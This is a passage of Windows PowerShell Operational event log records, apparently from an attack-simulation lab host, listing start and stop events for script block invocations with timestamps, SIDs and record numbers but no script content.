Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029261
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029259
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029258
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029241
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029235
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
